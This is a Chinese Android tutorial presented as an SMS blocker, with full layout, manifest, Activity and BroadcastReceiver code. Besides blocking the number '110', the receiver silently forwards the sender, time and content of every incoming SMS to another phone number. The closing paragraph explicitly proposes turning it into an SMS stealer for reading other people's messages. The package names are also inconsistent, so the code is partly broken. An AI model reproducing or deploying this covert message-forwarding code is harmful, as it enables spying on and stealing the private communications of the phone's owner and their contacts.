本文为大家提供一个短信拦截器的Android开发实例,详细演示如何实现短信拦截。
该短信拦截器主要通过两种方式来实现拦截,第一种是在AndroidManifest.xml中设置进行直接拦截,第二种则是通过手动注册来设置拦截。这其中会涉及到在文档中查阅短信收发的一些权限说明。
下面贴上这个短信拦截器程序的代码,与大家分享。
main.xml layout:
XML/HTML代码
- <?xml version="1.0" encoding="utf-8"?>
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- >
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="注册拦截"
- android:onClick="regiset"
- />
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="解注册拦截"
- android:onClick="unregiset"
- />
- </LinearLayout>
首页显示的SmsListenerActivity:
Java代码
- package com.tk178zhe.android.SmsListener;
- import android.app.Activity;
- import android.content.IntentFilter;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Toast;
- public class SmsListenerActivity extends Activity {
- private SmsRecevier recevier;
- private boolean isregiset = false;
- private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- recevier = new SmsRecevier();
- }
- public void regiset(View v) {
- IntentFilter filter = new IntentFilter(ACTION);
- filter.setPriority(1000);//设置优先级最大
- registerReceiver(recevier, filter);
- isregiset = true;
- Toast.makeText(this, "注册成功", 0).show();
- }
- public void unregiset(View v) {
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注册成功", 0).show();
- } else
- Toast.makeText(this, "尚未注册", 0).show();
- }
- @Override
- protected void onDestroy() {
- super.onDestroy();
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注册成功", 0).show();
- }
- }
- }
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
XML/HTML代码
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.tk178zhe.android.SmsListener"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="8" />
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <activity android:name=".SmsListenerActivity"
- android:label="@string/app_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
- <receiver android:name=".SmsRecevier">
- <intent-filter android:priority="1000"> 将优先级设到最大
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- -->
- </application>
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- </manifest>
SmsRecevier类派生于BroadcastReceiver,用作拦截信息:
Java代码
- package com.tk178zhe.android.android;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
- public class SmsRecevier extends BroadcastReceiver {
- public SmsRecevier() {
- Log.v("TAG", "SmsRecevier create");
- }
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.v("TAG", "SmsRecevier onReceive");
- Object[] pdus = (Object[]) intent.getExtras().get("pdus");
- if (pdus != null && pdus.length > 0) {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < pdus.length; i++) {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for (SmsMessage message : messages) {
- String content = message.getMessageBody();// 得到短信内容
- String sender = message.getOriginatingAddress();// 得到发信息的号码
- if (sender.equals("110")) {
- abortBroadcast();// 中止发送
- Log.e("TAG", "此号码为黑名单号码,已拦截!");
- }
- Date date = new Date(message.getTimestampMillis());
- SimpleDateFormat format = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendContent = format.format(date) + ":" + sender + "--"
- + content;
- SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
- smsManager.sendTextMessage("", null, sendContent, null,
- null);// 转发给
- Log.v("TAG", sendContent);
- }
- }
- }
- }
这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。
延伸一下,我们也可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到轻而易举的窃取别人的信息内容了。
本文发布:Android开发网
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。